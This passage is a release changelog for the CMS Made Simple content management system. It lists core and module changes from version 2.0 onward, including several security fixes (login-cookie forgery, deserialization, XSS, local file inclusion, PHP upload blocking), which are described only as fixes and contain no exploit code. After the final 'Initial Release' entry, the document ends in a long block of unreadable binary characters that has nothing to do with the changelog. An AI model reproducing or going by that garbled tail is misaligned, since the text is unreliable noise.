  - Change Finnish locale priorities so that UTF-8 is first.
  - Minor fix to calling hooks with a single associative array parameter.
  - Adds new HookManager::do_hook_first_result() method.
  - cangegroupperms now calls HookManager::do_hook_first_result.
  - Minor enhancement to moduleoperations::_load_module() to check if the class exists.
  - Minor enhancement to {cms_action_url} wrt. the page to link to if not specified.
  - Deprecate CMSModule::SetParameterType and CMSModule::CreateParameter methods.
  - Deprecate ModuleOperations::GetModuleParameters() method.
  - CMSModule::RestrictUnknownParameters() now does nothing.
  - No longer warn if a module is sent a parameter that is not registered.
  Note: modules should now be cleaning parameters directly (see filter_var) from $_POST and $_REQUEST ($_GET is automatically cleaned).
  Note: In the future,  $params in module actions will only consist of parameters passed on the module tag.
  - PHP 7.2+ fixes.
  - Fix the inactive param in the page_attr plugin.

FilePicker v1.0.3
  - Minor fix to delete action.

Search v1.51.5
  - Now enforce utf-8 on preg_split.
  - Minor parameter check.
  - Removed deprecated each() function.

CMSJobManager v0.1.3
  - Notices fixed.
  - PHP 7.2+ fixes.

FileManager v1.6.7
  - Remove un-necessary files that may cause a security vulnerability.
  - prevent creating directories with leading or trailing whitespace in the name.

Module Manager v2.1.4
  - PHP 7.2+ fixes.

Navigator v1.0.9
  - Template fix simple_navigation.tpl. Output correct class for parent without active children.

News v2.51.4
  - Notices fixed.


Version 2.2.7 - Skookumchuck
----------------------------------
Core - General
  - Change internal CSRF variable name.
  - Fix object insertion bug via deserialize in LoginOperations.
  - Fix issue where login cookie contents could be forged by determining the hashing salt.
  - Refactor the mechanism for generating and verifying admin account password reset codes.

FileManager v1.6.6
  - No longer allow uploading files with names that end in .

FilePicker v1.0.2
  - No longer allow uploading files with names that end in .

Search v1.51.4
  - Minor fix to microtime calls.


Version 2.2.6 - Come by Chance
----------------------------------
Core - General
  - Fixes to AdminAlerts::load_by_name().
  - SetMessage() and SetError() in the module API now use session variables.
  - Remove support for module_error and module_action request parameters in admin module actions.
  - Add call to check_login() in admin actions that were missing them.

Search v1.51.3
  - Fix notice in PHP 7.1: A non well formed numeric value encountered...


Version 2.2.5 - Wawa
----------------------------------
Core - General
  - Fix minor security issue in the way login information was cached in cookies and the session.
  - Simplify rules around alias editing/generation in fillparams.
    If the alias field exists then we can adjust its value or recalculate an alias.
    Use basic properties, and ownership and permissions to determine if that field exists on the edit form.
  - Minor fixes to the CmsJobManager.


Version 2.2.4 - Little Paradise
----------------------------------
Core - General
  - Improvements to the Hook class.
  - Minor fix to usertagoperations.
  - Changes to the hierarchy selector to disallow circular references.
  - Fix problems with additional editors causing page aliases to be regenerated.
  - Minor fixes to Admin log browser.
  - Minor fixes to Admin login.
  - Add missing call Core::LoginPre hook.
  - Modify myaccount.php to call Core::EditUserPre hook BEFORE the password is set.
  - Fix documentation to CallUserTag.
  - Fix to default handling for content_image block.
  - Improve the help for the {page_attr} plugin.
  - Fix a potential warning in the {anchor} tag.
  - Fix boolean comparison in LoginOperations.

Installation Assistant v1.3.4
  - Fixes endless recursion issue with setting a tmpdir.
  - Fix issue with requiring a database prefix on upgrade.

FilePicker v1.0.2
  - Now allow specifying a 'useprefix' boolean parameter to the action url which will use the current top directory.
  - Add a prefix on all returned strings.
  - Slight modification to the profile class.
  - Now sends the FileManager::OnFileUploaded hook the same way as FileManager does.
  - Adds an exception handler around the change working directory stuff.

FileManager v1.6.5
  - Change upload action to call FileManager::OnFileUploaded hook before creating the thumbnail to allow a hook to rename the uploaded file.
  - Now enable creation of thumbnails on install.

MicroTiny v2.2.2
  - Minor fix for the filepicker if using a default filepicker profile that specifies a top directory.
  - Re-adds the table plugin (went missing when we upgraded tinymce).

ModuleManager v2.1.3
  - Adds audit line displaying status if cannot connect to ModuleRepository.

DesignManager v1.1.4
  - Fixes problems with the cancel button not marking the form as 'clean' (not dirty).


Version 2.2.3.1 - Happy Adventure
----------------------------------
Core - General
  - Fix an issue when parsing multiple content blocks.


Version 2.2.3 - Happy Adventure
----------------------------------
Core - General
  - Fixed a redirect loop problem on mixed HTTP/HTTPS sites when the secure flag was set on some pages.
  - Fixed a problem with prefilters and postfilters not working if placed in /assets/plugins.
  - Now use our own derivative of Smarty Internal Template so that we can send hooks, etc.
  - Improved error message if there was an error parsing the template (or a duplicate content block).
  - Fixes content blocks, image blocks, module blocks containing whitespace in the name.
  - Minor fix to {cms_filepicker} plugin.
  - Improve the CmsModuleInfo class such that if the module class file is newer it will be loaded.
  - Now generate the moduleinfo.ini file automatically on install or upgrade of a module.
  - Increase the maxlength attribute for password input boxes in myaccount.
  - Adds a StartsWith JavaScript shiv for IE11.
  - Revert the protocol-less URI for root_url (more changes coming for 2.3).
  - Get rid of the smart_url config option.
  - Fix a problem when testing for duplicate aliases of the form string-###  where the suffix integer was greater than 100.
  - More fixes to mact preprocessing if {content} was in the top of the template.
  - Minor fix to ExpandXMLPackage to not throw an exception in brief mode if module is not compatible with the current version of CMSMS.
  - adds new cms_entities_array function in misc to convert an array recursively to values.
  - Fixes transposed arguments in UserOperations::AddMemberGroup().
  - Better detection of duplicate content blocks.
  - Revert template_stack change to Smarty_CMS from 2.2.2.
  - Improvements to HookManager.

CmsJobManager v0.1.1
  - Optimization of audit logging.
  - Change connection timeout to 1 second.
  - Change processing to be a little more friendly to some environments wrt. content-size header.
  - Prevent processing from the CLI when root_url is calculated.

MicroTiny v2.2.1
  - Minor fix for filepicker plugin.

News v2.51.3
  - For security, no longer urldecode the detailtemplate parameter in detail view.
    This may have some implications for people that are specifying the detailtemplate parameter (with a template with special characters) from within a WYSIWYG (which is not recommended behavior).
  - Convert title and dropdown options and text fields to entities before display.

ModuleManager v2.1.2
  - Now sort modules in the installed tab a bit better.
  - Now handle module 'not available' a bit better.

FileManager v1.6.4
  - Add a different icon for navigating up one level.
  - No longer allow uploading any php (or derivative) file.
  - No longer allow renaming any file to have a .php extension (or a derivative).
  - Fixes an issue when improper/invalid values for root path and uploads path are manually specified in the config.php

FilePicker v1.0.1
  - No longer allow overriding the filepicker type on the URL.
  - No longer allow uploading any .php files.

CMSContentmanager v1.1.6
  - Now double check that the 'default parent' for new pages actually exists.

Navigator v1.0.8
  - Minor english documentation correction.

Installation Assistant v1.3.3
  - Now look for lib/include.php before include.php in step 8 and step 9 when connecting to CMSMS.
  - Fixes to upgrade routine for 2.1.5 wrt. the 'Manage Stylesheets' permission (ignore an exception).


Version 2.2.2 - Hearts Content
----------------------------------
Core - General
 - Additional security improvement in CMSModule::GetTemplateResource().
 - Now Smarty_CMS is no longer derived from SmartyBC (uses our own wrapper class) which prevents all occurrences of {php} tags from running.
 - Adds an admin directory .htaccess file to explicitly disable browser caching of any resources.
 - Fixes a relative path vulnerability in module_file_tpl resource.
 - Fixes a path building issue in CmsModuleInfo.
 - Fixes to parsing and generating moduleinfo.ini files.
 - Disallow any resource specifications with a * or a /.
     * This also means that no file resource specifications with path information will be permitted.
 - Move mact preprocessing to AFTER the template_top has been processed. So order of processing (for module actions on the frontend is)
     a:  template top
     b:  mact preprocessing (if enabled, which is the default)
     c:  template body
     d:  template head
 - Fix sureGetNodeByAlias to check if the input is numeric. If it is, assume that it is a page id, not an alias.
 - Fix alias generation in the ContentBase class to check if the input page title is numeric... If it is, prepend a character to it to ensure that integer casting will return 0.
 - Fix listtags to show tags using smarty_nocache_ function name prefix.
 - Improvements to the {form_start} plugin.
 - Fix silly, old issue in recursive_delete function.
 - Clean up more parameters from the content tag before passing to module action.
 - Fix local file inclusion vulnerability in listtags.
 - Now call get_userid() in debug_to_log instead of check_login()

AdminSearch v1.0.3
 - Now search the metadata field of content pages.
 - Fixes for single quotes in search results.

DesignManager v1.1.3
 - Set title attribute tags for edit/create template, stylesheet, design.
 - Remove debug statements.

MicroTiny v2.2
 - Upgrade tinymce to v4.6.x.
 - Adds new tabfocus and hr plugins.

News v2.51.2
 - Fixes so that all cancel buttons work properly on new News articles.

Navigator v1.0.7
 - Adds a silly __get() method to the NavigatorNode class squash some notifications in the error logs.

ModuleManager v2.1.1
 - Now handlle remote module installs upgrades, and activates via a 2 request process to allow new module versions to be read into memory.

Installation Assistant v1.3.2
 - Correction to assets warning

Search v1.51.2
 - Now do an html entity decode on all content added to AddWords.


Version 2.2.1 - Hearts Desire
----------------------------------
Core - General
 - Improve the Smarty plugin loading to handle non-cachable plugins in the /assets/plugins and /plugins directories.
 - Fixes to transaction functions in database abstraction library.
 - Fix CMSModule::GetTemplateResource to no longer accept eval or string resources.
 - Fix CMSSmartySecurityPolicy so that debug_to_log is no longer an allowed function.

   Many thanks to Daniel Le Gall from SCRT SA, Switzerland for reporting the vulnerabilities.

Installation Assistant v1.3.1
 - On upgrade to 2.2.1 move all files from /plugins to /assets/plugins (they should only be third party plugins at this point).
 - On upgrade chmod the config.php to 444.

MicroTiny v2.1.1
 - Fix temporary JS call URL.

News v2.51.1
 - Fix frontend pagination.


Version 2.2 - Canada
----------------------------------
Core - General
  - Automatically turn on file locking for cached files to attempt to mitigate race conditions.
    NOTE:  On systems using archaic filesystems such as FAT and FAT32 CMSMS may no longer operate.
  - cms_filecache_driver now caches for 2 hours by default and has an improved cooperative locking test
  - Implement new database abstraction library that is compatible with (functionality wise) but improves upon adodb-lite.
  - Implement protocol-less URL's in the config.
  - Page tabs are now focusable (you can tab through page tabs and use enter to select one).
  - Minor fix to the {form_start} plugin.
  - Minor change to the {admin_icon} plugin (default image class).
  - Cache more items that are queried from the database, to reduce mysql load.
  - Minor change to tree operations functionality to reduce memory usage.
  - Fixed problem with order of content blocks when using {content_module} stuff.
  - Adds get_usage_string and the concept of a type assistant to template types.
  - Minor change to auto-alias determination routine.
  - Detect module_custom enhancements in the CmsModuleInfo stuff.
  - Refactor Admin authentication.
  - More fixes to the cms_url class.
  - Optimize the include.php file.
  - Adds built-in asynchronous task processing system.
  - Adds the ability to reduce redundant mentions in the Admin log (runs asynchronously).
  - Refactor the Admin log page to allow for better filtering and pagination.
  - Admin log now uses cms_date_format and cleans output.
  - Notification functions in the CmsAdminThemeBase function are now just stubs and do nothing. Will be removed at a later date.
  - Removed the GetNotificationOutput() method from the module API.
  - Adds classes for creating Alerts. This is much more advanced than the old Notifications system.
  - Minor accessibility tweaks to the OneEleven theme.
  - Fix numerous minor problems with the OneEleven theme.
  - Refactored the OneEleven Admin theme to use new Alerts classes instead of old Notifications.
  - Refactor the OneEleven Admin theme to display an alert icon in the shortcut bar, instead of in the navigation area.
  - Fixed sidenav in the one OneEleven theme now works properly. If sidenav is larger than viewport then don't use fixed... easy.
  - In OneEleven Now revert to small sidebar navigation (still floating) if screen is too narrow.
  - Removed notification settings from MyAccount and Global Settings.
  - Removed pseudocron granularity preferences.
  - cms_alert() and the new cms_confirm() JavaScript functions now return promises.
  - Revises much code to use cms_alert and cms_confirm() instead of the standard, but browser specific functions.
  - Fixes to the cache clearing methodology.
  - No longer check for duplicate content blocks in templates... NEEDS TESTING
  - New core events: ContentPreRender, LostPassword, LostPasswordReset, StylesheetPostRender.
  - Fix problem with the default parameter to the {content} tag.
  - Fix problem with the use_smartycache thing in system information.
  - Fix notice in useroperations.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Numerous minor optimizations.
  - Add to content types the ability to set basic attributes for properties from within the page type definition.
  - Fixes problems with pagelink and link content types not being properly editable by additional editors.
  - Adds more type and content cleaning into the content types FillParams method(s).
  - Pass an explicit cacheid in to createtemplate in index.php.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.
  - The {content} tag now supports passing data attributes to the generated textarea, for use by syntax highlighter and WYSIWYG modules. i.e: {content data-foo="bar"}.
  - Refactoring of the Admin login code to be cleaner, more efficient, more secure.
  - No longer allow any modules to auto-upgrade on frontend requests.
  - Fix problem with cms_filecache_driver::clear().
  - Introduces the new Hook mechanism to allow optimizing cms_stylesheet a bit further. All core SendEvent calls are now implemented as hooks.
  - changegroupperms can now localize permission names,  and add an info string for each permission. (the listpermissions hook).
  - Adds add_headtext(), get_headtext(),  add_footertext(), get_footertext() methods to the Admin theme class.
  - minor refactoring of admin/index.php, admin/header.php, admin/footer.php and admin/moduleinterface.php.
  - now use hooks so that loaded modules can now add text to the head area of any Admin page output.
  - Change the help for the basic attributes.
  - Adds new 'switch user' functionality for members of the Admin group.
  - Re-factor the content page selector ... now supports two modes (one for a simple list, and the previous dynamic one that is faster for large sites)
    the simple list mode is used for users with limited edit capabilities on pages.
  - Adds a new Smarty plugin {page_selector} to the Admin lib.
  - New arguments to the CreateHierarchyDropdown function (deprecated) and adjust documentation.
  - Content pages now have the ability to control whether or not the page wants any more children.
  - The TemplateType class now has a help callback to optionally allow retrieving help for templates of a particular type.
  - Permissions are now grouped logically by module/originator in ChangeGroupPermissions.
  - Now use HTTPS for the latest version check.
  - Adds the public_cache_url config entry,  and make sure that the css_url uses that by default.
  - Adds many core hooks.
  - Enhance the {page_image} plugin to optionally output a full HTML img tag if there is a value for the respective property.
  - Improve the {content_image} plugin to output nothing if there is no value for the property, and to output any non-internal arguments as attributes to the HTML img tag.
  - Upgrade to an un-modified version of smarty v3.1.31.
  - Move plugins directory to lib/plugins since we now have the assets/plugins directory for custom plugins.  Upgrading should preserve any custom plugins in the /plugins directory.
  - Add new plugins {thumbnail_url}, {file_url} and {cms_filepicker).
  - Add more intelligence to the tableoption handling for DataDictionary::CreateTableSQL.
  - Minor improvements to the asynchronous behaviour of the locking functionality.
  - #11295 - Cannot change the name of a UDT, always creates new UDT.
  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.
  - #11133 - is_email() fails on domain check.
  - #11235 - munge_string_to_url leaves trailing dashes at the end of munged URL.
  - #11287 - Password reset form's password fields have different lengths.
  - Fix issue with module actions if 'content_en' block name was given on the default content block.
  - Better security when saving content pages.  Most primary fields are cast to their appropriate data type (int, bool, etc).  MenuText, and TitleAttribute can no longer contain html tags like <strong>foo</strong>.
  - Fixes issue with entities in redirecting links
  - The href/page argument to {cms_selflink} is now decoded before resolving to a page id.

Navigator v1.0.5
  - Minor optimizations.
  - Now use pageid in calculations of cacheid.
  - Now output template help to Navigator.

Installation Assistant v1.3
  - Only create dummy index.html files in subdirectories we created.
  - Clear cache after step 9.
  - Upgrade routine now asks for, and tests database credentials.
  - Upgrade routine now rewrites the config.php file (but keeps a backup).
  - Set a few more preferences to reasonable defaults on install. Specifically related to site cleanup and performance.
  - On installation, now insure that tmp/cache and tmp/templates_c directories are empty.
  - Now displays if files are going to be skipped.
  - Adds clear option for development purposes.
  - No longer ask to save database password.
  - On install now create the assets directory structure.
  - On upgrade (for 2.2) now create the assets directory structure and move tmp/configs, tmp/templates, module_custom, admin/custom, etc. within it.
  - When using the expanded installer allow changing the destination directory on step 1.
  - Check for existing files in the installation directory for new installations.
  - Added more notes to aide in diagnosing white screens
  - Modify package .zip files so that extracted files will usually have 644 permission (depends on the unzip routine used).

CmsJobManager
  - New core module to handle queued asynchronous tasks.

Content Manager
  - Minor tweak to bulk delete pages.
  - Minor fix to the active tab when changing a template or design.
  - Now listen to the 'default parent page' user preference.
  - Fix minor XSS problem in the Admin if some loser puts JavaScript into the title field or alias field or menu text field.
  - Now allow filtering pages by owner, editor, template, or design.  Only for Administrators with Modify any page, or Manage all content permissions.
  - Fix problems with auto-refresh being too fast for some operations.
  - Now auto scroll to the first matched page in a find.
  - Additional editors of a page cannot change the content type. Only owners, or users with the Manage all Content permissions.
  - Fix a problem with the call to GetTabElements.

DesignManager
  - Move the designs tab of the main interface into third position.
  - Implement sorting in edit design.
  - Remove option menus (for now) from templates, stylesheets, and designs tab.
  - Modify the template list functionality in edit-design to allow using keyboard control. Space or + to select an item on the left, and right arrow to move.
  - Modify the edit-design functionality to allow clicking on an attached template or stylesheet to edit it.
  - Generic templates now display a usage string.
  - When creating a new template, associate the new template with the default design.
  - Add reset buttons to the filter forms.
  - No longer check for default content block in a template.
  - Adds the ability to export a template to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/templates directory corresponding to a template name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple templates.
  - In the template list, if a file exists for a template... display it in the filename column.
  - Adds the ability to export a stylesheet to a file within the assets directory, and to import from the assets directory.
  - If a file exists in the assets/css directory corresponding to a stylesheet name, do not allow in-browser editing.
  - Add bulk actions to allow importing and exporting multiple stylesheets.
  - In the stylesheet list, if a file exists for a stylesheet display it in the filename column.

News v2.51
  - Minor fix to add category.
  - Removes GetNotificationOutput method.
  - Add a task that runs at least every 15 minutes to detect draft articles... create an alert for this.
  - Add an option to never create alerts about draft News articles.
  - Minor optimizations.
  - Adds postdate as parameters in events.
  - now output template help to Navigator.
  - Adds new 'linked file' type field that allows selecting a file using the filepicker.
  - Changes the default summary and detail templates to support the linked_file field type, and uses {thumbnail_url} and {file_url}.

FileManager v1.6.3
  - Move settings to it's own menu item under Site Admin.
  - Fix minor problem with moving a directory.
  - Minor fix to move file functionality.
  - Adds OnFileDeleted event.
  - Adds 'view raw file' icon in each viewable row.
  - Minor formatting changes in file list.
  - Now display clickable path entries for easier navigation.

Search
  - Convert to store all data using the InnoDB engine.
  - Use transactions for the addwords and deletewords stuff for performance.
  - Fix problem with query and record expiry.

AdminSearch v1.0.3
  - Fixes problem with use of 'Use Admin Search' permission.
  - Now searches for matching strings within templates and stylesheets that are stored as files.
  - Now listens to the HasSearchableContent metod when searching content pages.

ModuleManager
  - Now detect if module_custom directories exist and are populated and warn about this before upgrading a module.
  - Minor string changes.
  - Improvements to error handling in the new versions tab.
  - Write a confirmation form for uninstalling a module that displays the UninstallPreMessage or uses a default.
  - Now don't allow disabling / uninstalling myself.
  - Don't hide the upgrades tab when there are no upgrades, but show the number of upgrades in the tab title instead.
  - Now use HTTPS for requests to ModuleRepository.
  - Trigger a hook before exporting a module to XML.

MicroTiny v2.1
  - New version of the tinymce wysiwyg editor.
  - Adds a mailto plugin.
  - Now use the FilePicker module for a filepicker, required rewriting the cmsms_filepicker tinymce plugin.
  - Enable the title attribute on the image plugin.
  - Now uses PUBLIC_CACHE_LOCATION for cache files instead of hardcoding tmp/cache


Version 2.1.6 - Spanish Wells
----------------------------------
Core - General
  - Now attempt to detect if a template name passed into CmsModule::GetTemplateResource() is already a resource string.
  - endswith is now an accepted function in Smarty templates (fixes typo in security policy).
  - Fixes for CmsNlsOperations when using a language detector.
  - Fixes warnings in useroperations.
  - Fixes problem with cms_selflink dir='up' since 2013.
  - Modifies the OneEleven theme to set the meta referrer attribute for security purposes.
  - Modifies the functionality of the CSRF tokens to be more secure (only set the cookie in one location, only set the session variable from the cookie).
  - Increase Admin users list limit.
  - Reduce time limit for daily version check to 3 seconds.
  - cleanValues in Admin log and List Content.
  - Minor fix to the relative_time plugin.
  - Admin menu item URLs can now be built from the remaining members of the object, if not specified.
  - {content_image} and {content_module} now preserve order properly and support the priority attribute.

  - #11198 - Fixes problem with cms_selflink with aliases that starts with a numeric sign.

Content Manager v1.1.4
  - Fix bulk set-non-cachable functionality.
  - Fix a bug wrt content blocks and the adding flag.

Installation Assistant v1.0.4
  - Adds recommended check for ZipArchive.
  - Improves method of determining a temp directory.

ModuleManager v2.0.5
  - Improves functionality if ModuleRepository is not available.

News v2.50.6
  - Minor fix to editing news articles from the Admin interface.


Version 2.1.5 - High Rock
----------------------------------
Core - General
  - Fix fatal error if an extcss stylesheet was placed in the Admin theme.
  - Another minor fix to clearing cached files.
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.
  - Fixes minor notice in user operations.
  - Fixes for namespaced modules.
  - Fixes an issue in CmsLayoutTemplate when creating a template from a type.
  - Fixes an issue where a 404 handler error page would not be rendered correctly if for some reason the route did not specify a page id to load.
  - More fixes to cms_url class.
  - Improve the way page aliases are munged when they are supplied.
  - Improve the error generated when a page alias cannot be generated.
  - Minor fixes to the form_start plugin.
  - Minor fixes to generation of moduleinfo.ini.
  - Fix an error message in the autorefresh JavaScript class.
  - Fix problems that could result in uid=1 becoming inactive, and not a member of other groups when edited by another user.
  - Fix query problem in CmsLayoutStylesheetQuery with Mysql 5.7.

  - #11080 - Parameter $adding in GetContentBlockFieldInput always FALSE.
  - #11093 - Bad error message in jquery.cmsms_autorefresh.js.

Content Manager
  - Improve error handling in Edit Content.
  - Fix a problem with the call to GetTabElements.

Design Manager
  - Fix problem with resetting a template back to factory defaults, or creating a new template from factory defaults.

Module Manager
  - Improve the way modules with dependencies are installed and upgraded. (Got rid of the queue stuff).

AdminSearch
  - Use 'Manage Stylesheets' permission, not 'Modify Stylesheets' when searching stylesheets.

Phar Installer
  - Adds missing 'Manage Stylesheets' permission that would not be created on upgrade from 1.12.



Version 2.1.4 - Freetown
----------------------------------
Core - General
  - Fix to the clear_cached_file() method which should fix problems with module installation.
  - Minor tweak to distributed sample htaccess.txt file.

Phar Installer
  - Fixes issues with respect to hanging on step 7 when suhosin PHP addon was installed.
  - Minor PHP7 Fixes.

Module Manager
  - Fixes problems where all files (including dot files) had to be writable before creating a module XML file.


Version 2.1.3 - Black Point
----------------------------------
Core - General
  - Security fix to prevent HTTP_HOST attacks. Many thanks to I-TRACING (www.i-tracing.com) for reporting it!!
  - Remove stub .htaccess files from subdirectories.
  - Update the included sample htaccess.txt file for security.
  - Fix for endless loop when calculating a page alias in utf-8 environments.
  - Fix for endless loop when calculating a page alias and a page name/title ended with -
  - Fixes a notice on the login page.
  - Optimize LoadContentFromId() to be typesafe, and use default page, if the id passed in is invalid.
  - Fix error condition if there were no default default design, or default page template.
  - Fix problem with system verification.

  - #10825 - Admin-account settings don't remember startpage if you set one
  - #10874 - When creating a page and the title has specific characters, CMSMS stops responding
  - #10910 - content and content_module order incorrect Admin page
  - #10911 - 'Use Admin Search' permission not being used in 2.1.2
  - #10921 - Content Field to Display in Name Column not used

AdminSearch v1.0.1
  - Minor fix to permissions checks.

Navigator v1.0.3
  - Improved exception handling on install

News v2.50.5
  - Fix error condition if no results were returned.

Installation Assistant v1.0.3.1
  - Tweaks to README files.
  - Improved error handling in some circumstances.
  - Fix some PHP7 issues.

FileManager
  - #10871 - Filemanager moving folder


Version 2.1.2 - Andros Town
----------------------------------
Core - General
- Minor fix to missing language string stuff
- Fixes to home page preferences
- API documentation fixes (minor)
- Fixes for ajax_content (the Ajax routine behind the parent selector in edit content) to handle ordering inconsistencies
- Remove die statement in is_email
- Minor fix to the relative_time modifier
- Upgrade CMSMailer to 6.2.14
- Now do a check for E_ALL in the system info

News v2.50.4
- Now all field definitions can be deleted
- Minor fix to default action if no results were returned...

ModuleManager v2.0.2
- Revamp module dependency calculations when installing a module
- Minor fix for some notices in install and upgrade modules
- Minor typo fixes
- Minor fixes for PHP7

MenuManager  v1.50.2
- make sure that uninstall cleans up properly

MicroTiny v2.0.3
- minor template fix
- fixes for stylesheet overrides


Version 2.1.1 - Nicholls Town
----------------------------------
Core - General
- Fix the template compiler so that content blocks can be placed within sub templates and detected with the {include} tag
- Fix minor problem with checksum verification
- Fix to the cms_cache_handler class
- Minor fix to SetAllPageHierarchies()
- Correct location where session was started in frontend displays
- Fix the default option for {content_image}
- Modify the locker to use a beacon if supported, when unlocking
- Fix missing permissions when a 1.12 site was upgraded (installation assistant)

CMSContentmanager v1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear content locks (Admins can clear all locks, regular users can only clear their locks)
- Enhancements to the action to bulk set designs to show only page templates by default, but to optionally show more

DesignManager v1.1.1
- Minor template changes in edit content wrt. locking
- Adds ability to clear template and CSS locks (Admins can clear all locks, regular users can only clear their locks)


Version 2.1 - Bahamas
----------------------------------
Core - General
- Minor performance tweaks to sample htaccess.txt
- Minor fix to the ProcessTemplateFromDatabase module API method.
- Improvements and re-factor the way headers are sent wrt caching
- Add a new method to the ModuleOperations class to allow a module to be within a namespace.
- Enhances the Group class.
- Enhancements and fixes to the cms_url class.
- Modified the $mod->smarty reference to be smarter... it is now deprecated.
- Fixes issue with https requests (#10697)
- Modifies The CmsLayoutTemplate class and CmsLayoutTemplateQuery to allow filtering on listable or non listable
  or setting a template as listable (default) or non listable
- Fixes a problem with styling of the login form if tasks must be run AND a module needs upgrading.
- Fixes to the cloning of templates in CmsLayoutTemplate
- Fixes problem with SetAllHierarchyPositions that cleared the entire cache instead of only the necessary part of it.
- Adds the unloadCancel handler to the lockManager jQuery plugin.
- Moves version.php and include.php inside the lib directory so that they are easier to protect from unwanted direct access.
- Fixes to page alias tests when manually entering a page alias.
- Missing language strings are no longer output to Admin log, but to the debug log.
- Requests for modules that are not installed/enabled, or for invalid actions will now result in 404 errors.
- Fixed problem where restricted content editors could implicitly change the page alias.
- Improvements to the system information page, particularly the bbcode output.
- cms_init_editor, form_start, and cms_action_url plugins are no longer cachable.
- Adds the 'adminonly' option to the {content}, {content_image}, and {content_module} tags to allow only members of the 'Admin' group to manipulate the values of that block.
- Add a trivial check to the sitedown message to make sure that it is not empty.
- Minor fixes for PHP 7

MicroTiny v2.0.2
- Now add page hierarchy to autocomplete text when using the linker.
- Now use $smarty->CreateTemplate for clarity when compling the config template
- Now explicitly assign urls so that they do not get caced by smarty.
- Slightly tweak the default HTML content in the example tab.
- Updated tinymce to the latest 4.2.7 version, included the 'paste' plugin, and turned on 'paste_as_text'.
- Added the ability to enable the table plugin, now distribute the table plugin

CMSContentManager v1.0.2
- Fix problem with pagedefault metadata.
- Fixes for handling no listable templates for a design
- More work with locking.  With only one exception all locking and unlocking is initiated via javascript.
- Minor fix to copycontent

DesignManager v1.1
- Adds ability to toggle the listability of a template.
- Fixes problems with lost changes if there is a syntax error in the template.
- More work with locking.  With only one exception all locking and unlocking is initiated via JavaScript.

News v2.50.3
- Fixes minor issue with pagination in News Admin console.
- Fix errors in the default form template.
- Fixed URL to long issues on redirection after adding/editing article.

Search v1.50.2
- Minor PHP7 fixes.

ModuleManager 2.0.1
- Minor fix to which modules could be uninstalled and deactivated.


Version 2.0.1.1 - Adelaide
----------------------------------
Fix to the $this->smarty magic method in the module class to resolve to the action template or the global Smarty.


Version 2.0.1 - Adelaide
----------------------------------
Core - General
- Improved optimization in ContentOperations::SetAllHierarchyPositions.
- Fixed return type of ContentOperations::GetPageIdFromAlias().
- Help for the {cms_html_options} plugin.
- Change the default page template to use {Navigator}.
- Explicitly force $smarty->fetch() to create a new template, and therefore a new scope. Keep track of scopes in a stack.
- Change prototype to CMSModule::DoActionBase to pass in the current template object.
- SITENAME is now assigned as a Smarty global.
  (fixes some variable scope issues)
- Fix problem with changing content types.
- Fix problem with CmsLayoutTemplateQuery wrt the editable option, that generated an SQL error.
  (resolves problems where people have additional editor access to templates, but no other design manager permissions).
- Fix minor JavaScript errors in plugin (error checking).
- Fix problems where If assign was passed to a {content} tag, do not pass it to the module on a mact request.
- Implements the completely forgotten 403 exception stuff and the IsPermitted content method.
- Improve the cmsms_dirtyform jQuery plugin to support the unload handler and an onUnload callback.
- Fixed the jQuery page selector plugin when the current value points to an invalid page,  and fixes for asynchronous Ajax.
- Adds a globally available cms_busy() JavaScript function for the Admin.
- Fix problem with html entitites in email addresses in user settings.
- Fix problem with {content cssname=string} and quotes.
- Changed cmsms plugins to use $smarty->getTemplateVars() instead of $smarty->get_template_vars() because of scope issues.
- Minor fix to {form_start} when not used in a module.
- Improved error handling for cms_stylesheet.  Now will generate a message in the Admin log, and an html comment on error.

CMSContentManager v1.0.1
- Fixes for changing content types.
- Adds a title for some contextual help if a template is not available for a content item.
- Clear any locks if an exception occurred while submitting a content item.
- Improvements to error handling with apply and preview.
- Content list now refreshes every 30 seconds to display up-to-date lock information.

DesignManager v1.0.1
- Clear the type_default flag when copying a template.
- Clear any locks if an exception occurred while submitting a template.
- Clear any locks if an exception occurred while submitting a stylesheet.
- Template and stylesheet lists now refresh every 30 seconds to display up-to-date lock information.
- Fixes for design exporting templates with protocol-less URLs in them.

MenuManager v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

Navigator v1.0.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Minor change to the help ($node->children_exist)

Search v1.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).

News v2.50.1
- Changes to createSmartyTemplate calls (now use $smarty->get_template_parent()).
- Fix problem with custom fields not being assigned in fesubmit.
- Fix minor problem with html entities in the detail template parameter.

FileManager v1.5.1
- Fix minor problem with Smarty scope in the drop zone.


Version 2.0 - Australia
----------------------------------
+++ Initial Release +++
     
Zr[G}WQ7E=ђf,yȪ"aak\9 ̪̳~ͯ/7:8tN1_~^O߾1BW?p,<{kwmV?w|7-kl$kVl)rsEx1['6_/ַ(6$}MNl9\9rY֧!Eo76-fGSCfA62&嚄$Ql %(~W7!	9Q̥ZBRVhf7X6s!Y!"))0\r,:RiL8"'ܼ(.6[N(2f6Z"1.ZZZ'mJ4vRt8%|IMI	Y;Kai,<j/-2;mÞφF&EjRMלuu!(88[Y紕ᩁa0ȐM)ـyB\}jF`e(^z=rVRFJxnoe`r9Ua}./LɜS`rad([>q*]VX"l)ΕW=ݽ8țdIIgH\vK0R͡圊-^$U]LJhV1fUVkljtv?>[|;IZnr)T\lh\9b'ZZ6hA7bAɒ)aD?jjَ.[	V>h]b^v>cSkS\-R55;+ޡN֬''bcVEi:1~"^]ul{DE6iKT"lיJېΤ2,UR ƚe-|e=-qR4Wm,N1Ԛԉؗ]'(+,:@ncK17^
